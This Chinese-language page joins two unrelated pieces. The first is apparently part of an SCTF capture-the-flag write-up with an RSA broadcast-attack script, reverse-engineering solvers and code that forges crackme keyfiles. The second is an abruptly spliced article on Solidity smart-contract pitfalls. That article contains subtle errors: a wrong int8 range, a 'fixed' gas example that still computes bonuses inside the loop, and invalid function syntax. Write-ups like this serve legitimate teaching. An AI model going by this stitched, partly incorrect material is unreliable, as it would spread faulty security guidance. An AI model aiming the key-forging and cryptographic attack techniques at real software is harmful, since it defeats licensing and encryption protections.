[18385820490756498630845099637385884526289633356624061254787168690401969931484681461188238787710409651449815539895242285691598875337594287806106085813960118251848444451513534016769456481162672885262204482364949325534065459367850614143232825000032268406437960262370858480554819685829353555690184818798267265796210960337460388505948631071614525018398373865470392241959568220037734003523095913661855071969443595963888197246706817509173657520972643733504829106254413721980414281608033521754216197444688277826856307631715943618612743630197485621043314535237634316401434408628915092182191743880308408307741099934272875651987,
0x2e2e5bae9239315b08b9e7df8dcc04ce3dd490a337b5de84b9901f3691854b2e854cdbbb983cef522dce64bd624ada2559966078cfcbca9c9e366dc8657f63a21eff19fa2d112290cb2c0b5a0f27afce836de90f7ed9b9ce0b081e334d214cdf5172ad13f191226a88a19e3f527ae3b2e7a02682acea65a900b5902fdeb77b6d2736c008b480383f7845c98311435b1dca9b2569977e480a18c92d120ea9c7fccc37ac416a60fbbd1c043789b5e71d921b11850c7384ea197403261289ed1435ee29e913452e8efeadfd6869bf740f5ac4b7e2071802917a5507a02d867915d59f1324a06c11fe9448c5a09f344538aaa6c8bcc3eda7b59ac9b7a2c89b69a442],
[30281916388128671870608358127535508597253256848916166571387928324968934483079979882958925265663909078201971328202390856034300501395073515791314797688655243947502728491379898802971897808837840821945579155914942010654535449237742856997639563715044751146534481040770843626744868141893233703484246867149368376045028319062204568784859614394313935507160274207492688072260532253254402466876869799765679537186402458205153674746975112358763817203043791811771234907386018301357938440244542249616472383775389567763247682438890144872967598891063447307931793385215729678598734396687216166714065075625367843216251707716025103121803,
0x1c78ed0ac3656077c3a47c2430d0183cca199670af2aa8192e555a3c0ae2e83946172ee821361cc9570ae66e7b831f25b882adcbd270fe122635e73a2d2b0d2fff28629ae6185d6114ac431dd120d1fc763fbba5ea6d3a178c90ffe4ed086cb09c68c3ab75585172422982e8e61ffe6f3192553f39c23a0d2c57ab91c3b619de0aa0141e50f40cd93e51f6328f10ed6c51f7c7c04c1d241d48a85127db38126fae6dd04a6e5d5d6f4523d50e6971474159d8623a8100d01cade05572d92425d9244d1dda0b391908d35e08119f4be9fdeff188d99ee7a4e9b29b3f3bba0b0cbfe84cc1eeb9fb09dc7d6bd54e1d151f690370e4982f9405f41cf74236f904a2c2],
[29302741920930971715958962931573693059214518175682972760430442992280718862916019621646166196030902557965543474818835511863275094220355276070528714707585419430062500161905041353445117189645307421983574773148466680558589247666101162735815101806414923256492116070184596267543276347976227842158566607582950518639772496229144254482533666634166391371264257444271707628266235679007052272896293396203478855075129665555759478152254177633460469433113536613000536250110508669033238938059179852830430676389056790930463587631527501924598301620386168595636653467177413553747002260512852330933153282102780023107271182594054817150327,
0xdefd52684b8ff42585141f2fde551200860d69ff86c2f05f130f6978952fa0eca4515e60fc81c1d9388bda4baf85eae4f80f9e9c7d56f93b8ba45cdd41d561f1bcc7ba0587fd9f886d1bfd79fdc6d2ee51cc719d61cbd3222df58a41ee602cb0b2f9bad8f763f70b7d73de55b60a041bffbd9d2664b3158bf7b16df52494967fd1c5bdb9e7905a1c8b62b89095c27deae2ec63a5abe9c91cbbe4f12eb1180a98394dd6b1cf2daf1a5262c69eb0abcb9615a84f5109a921f7dcb8867f770b4b1868be10f7745bba6de27a42be500b82142e7e8944dff88a4020902c6aa3feb8dd9a2e6cf0cc5b124546d24a76b784b79c1f304fbcb6c79f99c279bd94abf0b56e],
[18002677742776908491528820233798698716107011799507861113124372495825515833214781580140089594386320512697247643983138319668973871589664314738547953119404190410130072605398757902275389560426168550823398009508361292638241394236790974970017004533432395617773751028770143238013974085907741503747507551735924429318248324672570812709561078983634491336294143952871625167165459876010915038650749052455741224355512827413964858171986208251886493588084872107655861761108227052067451000512173167165942523219966599268848053306963435861831476981263834887084378049610242488632853018135809263417506963270646733008282952382101704197623,
0x5f76fe81f0136f3855d9f1923e0cee1f768b25effd54fec7e1438425ea744b85aa19c9e2e8e175ad43d1da9ea86a7563e98dc0e318abd418e2dff55777b3752288a987f7d3d203f96d9a209a26519a688cdc2b2d9627da7d18eb814c10531bc484acee7bcf38565cd4dc1ed0f2b4304ec539262ea70c49e275246789cb2902f2fe76c6a743f098ae0a30bcc7c88f19145a19ae3ee4433b9ed0bca78ef017a13c8de86f27a8fd987e5f8739e97e6069f46cf1f19bb71b76892abbd6340ab7177d7187b62f281624d54e24016c7abf4c0d28657b509730849a8e209b8e945a7df8c2ddbd43b8050ef97a590e9bb6d50d43a34b676e47a1708cd3927f5570fca0eb],
[17385690967504874659081285807736946558802244288041517042108187672717379329178334496113160801574061465138366148713819592793313683421378505296788697744253648534794396605589753247977329400952848538474618734955207869156808235956879088972178608461737991738408266236322270202640427889796004224608622994615228680554574643862617952688587328074362507938630759071580461843753419996970640803730214623839290577017432774968863067141412380845128948858377887291614971097504289252403156844418437971684066442327908124339274521445039556499162318560060262216457443382532574565448625519147347488322047325049345604859921899415787930385223,
0x869f17d7e1450b0540ec2df5d43f6f82a246ced4b8287352580f77615721bd10b3a7f7c7cb83d63fec965c1a3fc93531e65cd14527d4aa242f36d8ab1af938e312c554afa124dc8dcebf769c8ff6d1b985bb2521606e47c9db658910cb4ac1ee53442cc75d73f89c349160cd62e5be70d02b4efd48bb78b1447c90dc407dfc1e9013f78fb33f185abbb9f59e9a313e2cca36c2c086955d5f9d15804a6417efcde802c60a34dfa54a94580a6bc974f38bd23d128e1418f7b2b7db911649a701ffc1b2a2dc3b85efacf68c33eff648ce77790160ea7d55ec52ddda7fea414690a216c2bd054881f08deb14559ebf33b75926bbd0b0fb3687f9ecce1b1d3a8eb76a],
[21446777415351130147205079896812556144760341131980328457479211003920073547260539842798513238830248313746258553352056758211664220853535491930627715523968038760195452541263513011957735222059270748393755128054967152518850258728721849032492840730694348268277142780367080820887091814886510650523980239380065481822201359742013768435513266872450487992120704903800015695988761833598968601324518342875868803367429998381053968159622275606753821391388526250039179762891270174739748949131134511023830818079526152879733526623540609875826812906910682843202162617139159412105885166373294774501512523937496573675355828762858800843247,
0x24e479052ff3ee7db3b88eaac7072d86f2cbb7e5b3c583d66ed21dd5248529aebe30e45f2159dcf1119f7fd52b67ee80e8ba73320951545df3a28774d4f2e01420736ee32b943a7cceaab11c255d94f334aa0892c5173529021fc448f710f03436a996697fbd0b3a1e296f88d15da4527dfb7ab74347150300be962cc2bbf1d36e79503c38f5c73f354f24fbcf7cbff1a1822c707ab52a8947952ef20e11bf39fcea83fef94d1975b80b07678b8c012798239a8d772ad0c52a3cb2be1f4ab3788e693b07abbb30062037b92bc8b32a13fc9d575b7e0f2b6467fc747b5d7c5a774a836c9e1ce15cee8198ca8215a4ded86419b16661634b08d11baffe5069d60b],
]
data = []
for session in sessions:
e=19
n=session[0]
msg=session[1]
data = data + [(msg, n)]
print "-" * 80
print "Please wait, performing CRT"
x, n = chinese_remainder_theorem(data)
e=19
realnum = gmpy.mpz(x).root(e)[0].digits()
print my_parse_number(int(realnum))
**REVERSE**
**Reverse100(100)**
对输入的奇数位字符和偶数位字符做了不同的处理,奇数位的处理
偶数位的处理
最后的校验
拿到flag的代码
#include <stdio.h>
#include <stdlib.h>
void main() {
unsigned char cipher[19] = { 0xBC, 0xEE, 0x7F, 0x4F, 0x3F, 0x53, 0xFA, 0xF8, 0xD8, 0xE8, 0x5E, 0xCE, 0x70, 0xCC, 0x3A, 0xC2, 0x3F, 0x4B, 0x00};
for (int j = 0; j < 18; j++) {
if (j & 1) {
for (unsigned char i = 32; i < 127; i++) {
unsigned char input = i;
input = (input >> 7) | 2 * input;
input ^= 0x24;
if (input <= 0x63)
input += 9;
if (input == cipher[j]) {
printf("%c", i);
}
}
}
else {
for (unsigned char i = 32; i < 127; i++) {
unsigned char input = i;
input += 10;
input = (input >> 3) | 32 * input;
input ^= 0x17;
if (input > 0x2D && input <= 0x37) {
input += 20;
}
if (input == cipher[j]) {
printf("%c", i);
}
}
}
}
}
Flag:SCTF{Se9177entf@u1t_s73}
**Reverse150(150)**
这题先对输入的name做了DES加密,然后对keyfile进行RSA解密,最后比较他们的值是否相等
我们的思路是拿到name做DES加密后的密文,用RSA加密的公钥对其进行加密就可以得到keyfile,DES加密后的密文可以通过动态调试得到,最重要的一步是获得公钥,程序已经有了私钥,但是PRIVATEKEYBLOB格式的,google了一发,可以先用http://www.jensign.com/JavaScience/PvktoJkey/MSPrivKeytoJKey.java把PRIVATEKEYBLOB格式转换为PKCS#8格式,再用http://www.jensign.com/JavaScience/PvkConvert/PvkConvert.txt得到PUBLICKEYBLOB格式的公钥,最后对所有name的DES密文进行RSA加密就得到了keyfile,还要注意生成的keyfile中不能有0字节,代码如下
#include <iostream>
#include <windows.h>
#include <wincrypt.h>
using namespace std;
void main() {
unsigned char cipher[30][16] = { { 0x93, 0xc6, 0xb5, 0xc3, 0xe0, 0x35, 0x2d, 0xaf, 0xa3, 0x48, 0x6e, 0x41, 0x44, 0xab, 0xe1, 0x3c },
{ 0x7d, 0xa7, 0x85, 0x29, 0xa1, 0x56, 0xb8, 0x53, 0xe1, 0xda, 0x11, 0x6, 0x12, 0x58, 0xad, 0xaf },
{ 0xd4, 0xc2, 0x3, 0x36, 0x50, 0x94, 0x3d, 0x75, 0x67, 0x74, 0x3f, 0x1e, 0x17, 0x76, 0x2d, 0xd1 },
{ 0x37, 0xa7, 0xbe, 0x1d, 0x5d, 0xb1, 0x84, 0x6a, 0x2d, 0xaf, 0x3c, 0x9, 0xe4, 0xf4, 0xd, 0x65 },
{ 0x13, 0x21, 0x49, 0xbe, 0x19, 0x9e, 0xa6, 0x59, 0x1b, 0x2d, 0x22, 0x6f, 0xd1, 0x76, 0x99, 0xaa },
{ 0x8b, 0x17, 0x43, 0xc8, 0xbb, 0xa, 0x23, 0xcb, 0x94, 0xc, 0xfb, 0x67, 0x3a, 0xf0, 0x54, 0x4c },
{ 0xae, 0x7a, 0x7a, 0x6a, 0x89, 0x2c, 0xbf, 0x33, 0x68, 0x47, 0x90, 0x25, 0x9a, 0xc5, 0x5e, 0xe6 },
{ 0xe0, 0x3, 0xa5, 0x9a, 0x73, 0xbf, 0x24, 0x77, 0xcd, 0x99, 0xa1, 0xb7, 0x65, 0x64, 0x9b, 0x57 },
{ 0x46, 0x4d, 0xa6, 0xd0, 0x24, 0xbc, 0x6f, 0x24, 0x20, 0x2d, 0xdf, 0x6e, 0xa8, 0x44, 0x9d, 0xb7 },
{ 0x82, 0x6e, 0xe5, 0x11, 0xda, 0x58, 0xaf, 0x4e, 0x4, 0x92, 0xa4, 0x68, 0xe6, 0xfc, 0x38, 0x6f },
{ 0x17, 0x2d, 0x13, 0xb, 0x7, 0x24, 0x42, 0xc3, 0xe1, 0x4e, 0x51, 0x30, 0x2f, 0x60, 0xf2, 0x9d },
{ 0xfe, 0x6f, 0xf, 0xa7, 0xb9, 0x7a, 0xf4, 0x97, 0x74, 0x82, 0x8f, 0xd3, 0x52, 0xa4, 0xbd, 0xaf },
{ 0x30, 0xb2, 0x1b, 0xef, 0x4, 0x64, 0x6a, 0x72, 0x4a, 0x8f, 0xa0, 0x24, 0xc8, 0x9a, 0x4f, 0xbc },
{ 0x7c, 0xac, 0xe7, 0xac, 0x11, 0xd1, 0x41, 0x5d, 0xf4, 0x88, 0xa6, 0xab, 0x94, 0x64, 0xde, 0x9f },
{ 0x6f, 0x6d, 0x5d, 0x65, 0xa, 0x7, 0x77, 0x4d, 0xf, 0x64, 0xa7, 0xf5, 0x91, 0x74, 0xd4, 0x1 },
{ 0x4e, 0x2, 0x1c, 0xe5, 0xeb, 0x9b, 0xa, 0xca, 0xed, 0x93, 0xc9, 0x20, 0xb5, 0xc1, 0xe5, 0xbf },
{ 0xdb, 0x1e, 0x44, 0x50, 0x88, 0x1c, 0xeb, 0xdb, 0x3c, 0x7b, 0x15, 0x1, 0x4a, 0x20, 0x82, 0x62 },
{ 0xe8, 0xea, 0x4f, 0x8f, 0x45, 0x30, 0x31, 0xd7, 0xac, 0xfa, 0xb6, 0xed, 0x1b, 0x30, 0x6b, 0x38 },
{ 0xf2, 0x6b, 0x59, 0xb3, 0xdf, 0x7d, 0x9d, 0xa3, 0x13, 0xc2, 0x4d, 0xfc, 0xb, 0x43, 0x77, 0x6f },
{ 0x73, 0xc5, 0x49, 0x0, 0x1e, 0x2d, 0x7e, 0x23, 0x58, 0x70, 0x19, 0x8d, 0x90, 0x31, 0x5f, 0x88 },
{ 0xdb, 0x2c, 0xac, 0xc4, 0x9d, 0x12, 0xb4, 0x92, 0x6b, 0x1a, 0xa8, 0x85, 0xbe, 0x34, 0x2e, 0x8e },
{ 0x55, 0xe, 0xdc, 0x5e, 0xb7, 0x74, 0xda, 0xf8, 0x17, 0x5f, 0x1b, 0x77, 0xa4, 0x72, 0xc5, 0x8e },
{ 0xe7, 0xb1, 0x29, 0xe2, 0x3, 0xf5, 0x92, 0x9f, 0x7c, 0x9d, 0x6c, 0xd, 0xb3, 0x5a, 0x38, 0xde },
{ 0xde, 0xfc, 0x71, 0x4e, 0x86, 0xe1, 0x36, 0x29, 0x4e, 0x19, 0x68, 0x2f, 0xfc, 0x66, 0x92, 0x50 },
{ 0xb7, 0xdc, 0x87, 0x8, 0xce, 0x4, 0xd0, 0xc3, 0x70, 0xb0, 0x4c, 0x43, 0x62, 0xda, 0x5b, 0x87 },
{ 0x6a, 0x45, 0x7a, 0x27, 0xe0, 0x2a, 0xf6, 0x7, 0x70, 0x12, 0x7c, 0x28, 0x8f, 0x15, 0xd2, 0x2f },
{ 0xf0, 0xf, 0xf7, 0xbd, 0x92, 0xa, 0x13, 0x54, 0xa7, 0x1d, 0x5b, 0x74, 0x67, 0x4a, 0x17, 0x42 },
{ 0x81, 0x63, 0xcc, 0x58, 0xb6, 0x92, 0xb2, 0x51, 0x16, 0xd2, 0xcd, 0xe4, 0x24, 0x3c, 0xfd, 0x57 },
{ 0x9, 0x59, 0x13, 0xbd, 0x1a, 0x8c, 0xe4, 0xbb, 0x1d, 0xf4, 0xad, 0x46, 0xc6, 0xbd, 0x7a, 0x25 },
{ 0x76, 0xff, 0xa8, 0xaf, 0xe1, 0xe, 0x42, 0x37, 0x59, 0xb4, 0x5f, 0x78, 0xb, 0x48, 0xe1, 0xa7 } };
for (int i = 0; i < 30; i++) {
HCRYPTPROV phProv = 0;
HCRYPTKEY phKey = 0;
DWORD len = 16;
unsigned char text[128] = { 0 };
memcpy(text, cipher[i], 16);
unsigned char pub_key[148] = {
0x06, 0x02, 0x00, 0x00, 0x00, 0xA4, 0x00, 0x00, 0x52, 0x53, 0x41, 0x31,
0x00, 0x04, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0xF7, 0x4A, 0x9D, 0x9B,
0xAA, 0x80, 0x5A, 0x89, 0x8C, 0x00, 0x0A, 0x7B, 0xE2, 0xDC, 0x59, 0x9D,
0x3E, 0xF1, 0x9D, 0x10, 0x33, 0xD8, 0xF6, 0xA5, 0x60, 0xC3, 0x20, 0xBA,
0xC7, 0x21, 0x80, 0x08, 0x53, 0xDB, 0x5E, 0x60, 0x05, 0x65, 0xD0, 0xF5,
0x88, 0xA4, 0x0C, 0x76, 0x8D, 0x42, 0xEF, 0x27, 0xDB, 0x83, 0x79, 0xD7,
0xCC, 0xDB, 0x43, 0x9F, 0x7E, 0xDF, 0xCA, 0xC3, 0x62, 0x46, 0xD8, 0x3C,
0xEA, 0x8D, 0xD4, 0x48, 0x04, 0xC0, 0xC7, 0xD9, 0xD3, 0xFF, 0xB0, 0xF5,
0x0C, 0x0D, 0x82, 0xDE, 0x6D, 0x0B, 0x20, 0xCB, 0x8C, 0x79, 0xAD, 0x98,
0xFE, 0x32, 0xC4, 0x9F, 0x19, 0xE1, 0xDA, 0x16, 0xFE, 0xDA, 0x5E, 0x52,
0xE4, 0xBF, 0xC5, 0x2F, 0x06, 0x32, 0x73, 0x1A, 0xDF, 0xC5, 0x56, 0x37,
0xFC, 0xC0, 0xAB, 0x40, 0xBE, 0x0B, 0x66, 0x6E, 0xA2, 0x74, 0x06, 0x66,
0x7E, 0x42, 0xCD, 0xD9
};
if (CryptAcquireContext(
&phProv,
NULL,
"Microsoft Enhanced Cryptographic Provider v1.0",
PROV_RSA_FULL,
CRYPT_VERIFYCONTEXT)) {
if (CryptImportKey(phProv, pub_key, 148, 0, 0, &phKey)) {
if (CryptEncrypt(phKey, 0, true, 0, text, &len, 128)) {
printf("successn");
char filename[15] = { 0 };
sprintf(filename, "key%d.txt", i + 1);
FILE* file = fopen(filename, "w");
fwrite(text, 1, 128, file);
fclose(file);
}
else {
printf("error3n");
}
}
else {
printf("error2n");
}
}
else {
printf("error1n");
}
}
}
**Reverse200(200)**
可执行文件是个install4j的程序,用procmon监控进程文件操作能够提取出一个trustme.jar,用jd-gui打开发现jar经过混淆,静态分析发现得出的算法是错误的。于是用IDEA设置Path to
jar进行调试,发现动态加载了一个类,里面是关键函数,然后写脚本倒推即可。
脚本:
#!/usr/bin/env python2
# -*- coding:utf-8 -*- from ctypes import *
def u8(x):
return c_uint8(x).value
result = [-81, 52, 52, -39, -64, 43, 49, -116, -100, -115, -81, -119, 34, -7, 56, 92, 23, 78, 115, -120, 77, 83, -22]
sbox = [1, 3, 8, -55, 21, 27, 35, 67, -14, -111, -49, 89, 92, 109, 31, -112, 7, -74, 55, -15, -32, -1, -20, 83, 39, -103, -36, -116, -93, -50, -19, -128, 96, 46, 99, 26, -86, -46, -34, 105, -21, 0, -88, 68, 16, -42, 94, 5, 120, -53, -2, -109, 11, -121, -62, -6, 29, 112, -82, -79, -71, -37, 52, 119, 102, 60, 111, 87, -3, 41, -114, -43, 49, -118, 54, 44, -7, 100, 98, -16, 78, 116, 91, 23, 97, -58, -23, -75, -97, -81, 76, 6, 61, -119, 124, -54, 79, 57, 50, -113, 84, -107, 86, 4, -108, 40, -87, 34, -102, -18, -115, -57, -85, -77, 118, 103, 53, -98, -96, 37, -72, 2, -80, -35, -92, 122, -83, 18, -60, -68, 14, -64, 115, 108, 63, 81, 114, -69, 117, -39, -33, 36, -89, 125, 59, 65, -99, 101, 93, -105, 38, 43, 126, -126, 30, 75, 77, -45, 13, -76, -61, 104, 51, 85, 64, 127, -65, -48, 74, 123, -117, -95, -9, 33, 80, 56, -91, -26, -31, -73, 69, 48, -8, -22, -104, 113, -100, -38, -101, -4, -27, -17, -29, 17, 82, -25, -51, -127, -110, -122, 28, 12, -66, 66, -78, -24, -56, -11, 110, 107, 15, -84, -13, -125, -94, 121, 70, -12, 20, 106, -124, 71, 25, -120, -44, -10, 47, -106, 45, 95, 73, 32, 62, -90, -41, 58, 24, 19, -67, -123, 72, -28, 42, 10, -40, 90, -47, 22, -5, -30, -52, -59, -63, 9, -70, 88]
for i in xrange(len(sbox)):
sbox[i] = u8(sbox[i])
length = 0x17
for i in xrange(23):
result[i] = u8(result[i])
# step1
for i in xrange(23):
if i % 2 == 0:
result[i] = u8(result[i]-1)
else:
result[i] = u8(result[i]+1)
for i in xrange(23):
result[i] = u8(result[i] ^ 0x82)
for i in xrange(23):
result[i] = u8(result[i] -4)
t = []
for i in xrange(23):
t.append(sbox.index(result[i]))
xor_seed = [58, 50, 42, 34, 26, 18, 10, 2, 60, 52, 44, 36, 28, 20, 12, 4, 62, 54, 46, 38, 30, 22, 14, 6, 64, 56, 48, 40, 32, 24, 16, 8, 57, 49, 41, 33, 25, 17, 9, 1, 59, 51, 43, 35, 27, 19, 11, 3, 61, 53, 45, 37, 29, 21, 13, 5, 63, 55, 47, 39, 31, 23, 15, 7]
for i in xrange(23):
t[i] = u8(t[i] ^ xor_seed[i])
print ''.join([chr(c) for c in t])
**Reverse500(500)**
这是一个64位VM的题,checker是main函数,mod1、mod2和mod3是三个子函数,先是加载程序,然后分配寄存器和栈的空间
下面是指令对应的操作
80mov reg, immediate
81xor reg1, reg2 | xor reg1, immediate
82 push reg
83pop reg
9Aje
9Bjmp
9Cjne
9Dcall
A5mov reg1, reg2+reg3
A6 mov reg1, [reg2]
A7mov reg1, cs+[cs+0x20]+immediate
B0mov [reg1], byte ptr [reg2]
B1mov reg1, [reg2] & immediate
B2mov reg1, [reg2] | immediate
B3mov reg1, [reg2] / immediate
C5cmp
C6ret
C7mov reg1, reg2
E0syscall
E1malloc
第一个子函数mod1是输入,然后在checker也就是main函数验证输入的长度是不是0x1D,通过后调用mod3函数对输入做了三次处理,先是以输入值的每个字符为索引到mod3_base_addr+0x600的位置查表替换,然后再跟mod3_base_addr+0x700处的四个值循环异或,之后把结果中每个值的高4位除以0x10之后再或0x30,低4位或0x30,最后与mod3_base_addr+0x730处的值比较,得到flag代码如下
#include <stdio.h>
#include <stdio.h>
int main() {
unsigned char table[256] = {
0x49, 0xB6, 0x2C, 0x2D, 0xAB, 0x8F, 0x36, 0x11, 0x32, 0xE7, 0x73, 0xF8,
0xF9, 0x4C, 0x26, 0xA3, 0x5B, 0xBB, 0xBC, 0xBD, 0xBE, 0x98, 0x99, 0x97,
0x9A, 0x9F, 0xA0, 0xDD, 0xE0, 0x74, 0x8A, 0x8B, 0x8C, 0xDE, 0xDF, 0x08,
0x62, 0xE5, 0xF1, 0xDB, 0x23, 0xF7, 0xA4, 0xCC, 0xCD, 0xC9, 0xC4, 0x75,
0xD6, 0xD3, 0x0C, 0x0D, 0x91, 0x1D, 0x1E, 0x0B, 0x14, 0xB2, 0x66, 0x67,
0x9D, 0x30, 0xEE, 0x53, 0x6B, 0x05, 0x6F, 0x70, 0x71, 0x76, 0x93, 0xEF,
0xF0, 0x51, 0x52, 0xC3, 0x58, 0xFA, 0xD8, 0x5F, 0x79, 0x7A, 0x7B, 0x7C,
0x7D, 0x7E, 0x7F, 0x00, 0x80, 0x0E, 0x0F, 0x10, 0xEC, 0xED, 0x35, 0x13,
0x21, 0xA2, 0x65, 0xB7, 0x4A, 0x57, 0xB5, 0x6D, 0x5C, 0x89, 0x5E, 0xAE,
0xAF, 0xB0, 0x12, 0xD5, 0x72, 0xC6, 0xD7, 0xE1, 0xA5, 0x46, 0x15, 0x16,
0x44, 0x43, 0xB4, 0x60, 0xE4, 0xC7, 0xC8, 0xBF, 0x85, 0x87, 0x09, 0x0A,
0x86, 0xC1, 0xAA, 0xC5, 0xC2, 0xD9, 0xDA, 0x94, 0x95, 0xD2, 0xFB, 0x1A,
0xFC, 0x19, 0x1B, 0xCB, 0x61, 0xE3, 0xCE, 0xCF, 0xD0, 0x3C, 0xF4, 0xF5,
0xE6, 0xD4, 0x68, 0x56, 0xAD, 0xCA, 0xD1, 0x96, 0x90, 0xB1, 0x22, 0xE8,
0xA6, 0x69, 0x83, 0x84, 0x31, 0xE9, 0x2A, 0x9E, 0xE2, 0x6A, 0x37, 0x2B,
0x33, 0x20, 0xAC, 0x54, 0x42, 0x45, 0x34, 0x81, 0x82, 0xEA, 0xEB, 0x38,
0x2E, 0x2F, 0x5A, 0x4E, 0x4F, 0x50, 0x1F, 0x8E, 0xF2, 0xF3, 0x3A, 0x3B,
0x07, 0x63, 0x5D, 0x9B, 0x24, 0x02, 0x04, 0x47, 0xB8, 0xB9, 0xBA, 0x6C,
0x48, 0x25, 0xC0, 0x92, 0x4B, 0x59, 0x77, 0x78, 0x4D, 0xA1, 0x39, 0x3D,
0x3E, 0x3F, 0x40, 0x41, 0x55, 0xB3, 0x01, 0xFD, 0xFE, 0xFF, 0x06, 0x03,
0x17, 0x18, 0xF6, 0x9C, 0x88, 0x64, 0x6E, 0x29, 0x8D, 0xDC, 0xA7, 0xA8,
0xA9, 0x27, 0x28, 0x1C
};
unsigned char final[58] = {
0x3D, 0x38, 0x31, 0x36, 0x30, 0x34, 0x31, 0x33, 0x3C, 0x34, 0x31, 0x3A,
0x37, 0x34, 0x3F, 0x30, 0x37, 0x33, 0x33, 0x31, 0x36, 0x34, 0x39, 0x33,
0x3F, 0x3C, 0x30, 0x3D, 0x36, 0x3B, 0x3E, 0x3D, 0x3E, 0x32, 0x36, 0x33,
0x31, 0x34, 0x38, 0x3D, 0x3B, 0x37, 0x3F, 0x37, 0x36, 0x3D, 0x39, 0x3E,
0x3A, 0x3F, 0x37, 0x35, 0x3A, 0x37, 0x35, 0x3E, 0x36, 0x33
};
unsigned char xor[4] = {
0xA4, 0x66, 0x79, 0x80
};
for (int j = 0; j < 29; j++) {
unsigned char i;
for (i = 32; i < 127; i++) {
unsigned char key = table[i] ^ xor[j % 4];
unsigned char high = ((key & 0xF0) / 0x10) | 0x30;
unsigned char low = (key & 0x0F) | 0x30;
if (high == final[j * 2] && low == final[j * 2 + 1]) {
printf("%c", i);
}
}
}
printf("n");
return 0;
} | 社区文章 |
### 一、前言
在前文中，我们简单提及了“智能合约”的概念以及其安全属性。之后针对一些严重的事件展开合约安全的深入分析。在本文中，我们详细的介绍一下智能合约的概念，并且为大家讲述一些关于智能合约方面的攻击事例。并针对相关事例列举防御手段。
而我们知道智能合约的漏洞常存在于以太坊的Solidity中，所以本文中会有大量的合约代码分析。我也会为大家讲述相关合约分析流程。
**本文为原创稿件，如有疑问大家可以在下方留言。**
### 二、智能合约详述
#### 1 智能合约概念
智能合约是20世纪90年代被提出的一个概念。由于缺少可信的执行环境，所以智能合约并没有被应用到实际的产业中。自比特币诞生以后，人们逐渐认识到区块链是天生的可以为智能合约提供可信执行环境的平台。简单地说，智能合约是代码与数据的集合。其被部署在区块链的某个具体地址中。智能合约类似于区块链平台中的一个自动化机器人代理，它有自己的账户并可以在某些时间与事件的驱使下自动执行一些事情。例如可以传递信息、修改区块链状态等。
“智能合约”的程序不仅仅是一个可以自动执行的计算机程序，它可以对接收到的信息进行回应。作为一个系统必不可少的参与者，其可以接收和存储价值并向外部发送信息。以太坊的智能合约是以太坊特定的字节码，我们称为EVM字节码。
#### 2 智能合约编程语言
不同的区块链项目使用不同的程序语言作为其智能合约的编程语言。R3的Corda使用的是Java；HyperLedger
Fabric使用Java、Go开发其ChainCode链码。而根据大量的文献参考，我发现现在合约的问题多自以太坊的Solidity，所以我们在这里多讲述一下相关内容。
以太坊智能合约默认的编程语言是Solidity，智能合约的运行环境是以太坊虚拟机（EVM）。在报智能合约部署到以太坊网络之前需要先将智能合约编译成字节码，然后以交易的形式将智能合约的字节码发送到以太坊网络中，以太坊会为每一个智能合约创建一个合约账户并保存于此。
#### 3 DApp概念
DApp全程Decentralized
APP，是以太坊中基于智能合约应用的去中心化的应用程序。DApp的目标是让智能合约有一个友好的界面。DApp可以在以太以太坊节点交互的中心化服务器上运行，也可以在任意一个以太坊平等节点上运行。
然而DApp不能在普通的服务器上运行，其需要提交交易到区块链并且从区块链中提取重要数据。对于用户登录系统，用户很有可能被表示成一个“钱包”地址，而其他用户数据被保存到本地。
下面交代一下其流程：
* 1用Solidity编写智能合约。
* 2用solc编译器将合约编译为EVM字节码。
* 3编译好的字节码发送到DApp前端。
* 4前端将合约部署到区块链中。
* 5区块链返回智能合约地址。
* 6前端通过地址+ABI+nonce调用只能合约。
* 7智能合约开始处理。
### 三、EVM虚拟机硬性限制安全
以太坊虚拟机（EVM）对于合约能够做的事情存在许多硬性的限制。为了平台安全的考虑，许多函数都有其潜在的内容，如果不了解其用法就盲目的使用有可能会带来十分严重的安全隐患。
#### 1 变量类型出错
例如在以太坊的Solidity中有unit8变量，而`uint8的存储范围为0 ~ 255，而int8的范围为-127 ~ 127。`而我们下面看一组代码：
contract Baduse
{
address[] employees;
function pay()
{
for(var i = 0 ; i < employees.length; i++)
{
address employee = employees[i];
uint bonus = calculatebonus(employee);
employee.send(bonus);
}
}
function calculateBonus(address employee) return (uint)
{
funcs;//许多花费巨大的计算
}
}
我们大致阅读下上述代码，我们发现代码含义为传入employees地址，并且放入到相关地址数组中，之后循环send相应的数值。
然而不只读者有没有发现，作为智能合约其中潜在了三个问题。这里介绍第一种。
这里存在一个陷阱，是一些编译器微妙的情况还没有告诉你。
首先我们需要知道， **在for (var i = 0; i < arrayName.length; i++) { ... },
i的类型是uint8，因为这是存放值0最小的类型。如果数组元素超过255个，则循环将不会终止**，知道Gas用尽。
所以上述代码中倘若地址数组中的数量超过了255，那么用户就会发现自己的合约莫名其妙的一直处于运行状态，到了最后Gas被耗尽。
而要解决上述的问题，我们需要将var变量修改为nint，因为uint8是保持值为0所需的最小类型。而我们需要将函数修改为如下：
contract Baduse
{
address[] employees;
function pay()
{
for(uint i = 0 ; i < employees.length; i++)//在此处修改uint
{
address employee = employees[i];
uint bonus = calculatebonus(employee);
employee.send(bonus);
}
}
function calculateBonus(address employee) return (uint)
{
funcs;//许多花费巨大的计算
}
}
#### 2 Gas限制
根据往期文章中所写的内容，我们讲述过在以太坊中为了防止恶意者的作恶攻击，我们特意设立了Gas机制。而上述的代码中同样存在了一些不完善的情况导致用户Gas用尽的情况出现。
我们在代码中可以关注下面的语句：
uint bonus = calculatebonus(employee);
employee.send(bonus);
`calculatebonus()`函数在一些复杂的基础计算中会对每一位员工所获得的奖金进行计算，然而就想计算项目的利润，这会花费用户大量的Gas。而用户的Gas是有限的，所以势必会有一天Gas被快速消耗。如果Gas达到消耗的限制，那么所有的变化将会被修复，但是Gas费用仍然无法退回。所以每每我们发现自己的代码中存在循环时，我们应该注意可变的Gas成本问题。
对于此类问题，我们可以通过将奖金计算从for循环中分离出来并进行优化。
contract Baduse
{
address[] employees;
mapping(address => uint) bonuses;
function pay()
{
for(uint i = 0 ; i < employees.length; i++)
{
address employee = employees[i];
uint bonus = calculatebonus(employee);
employee.send(bonus);
//直接调用send函数，并没有进行检查验证
}
}
function calculateBonus(address employee) return (uint)
{
uint bonus = 0;//可以手动对此进行调控
bonuses[employee] = bonus;
//修改奖金的额度
}
}
#### 3 调用堆深度限制
调用深度（call depth）被限制为 1024。EVM 中一个智能合约可以通过 message call 调用其它智能合约，被调用的智能合约可以继续通过
message call 再调用其它合约，甚至是再调用回来（recursive）。
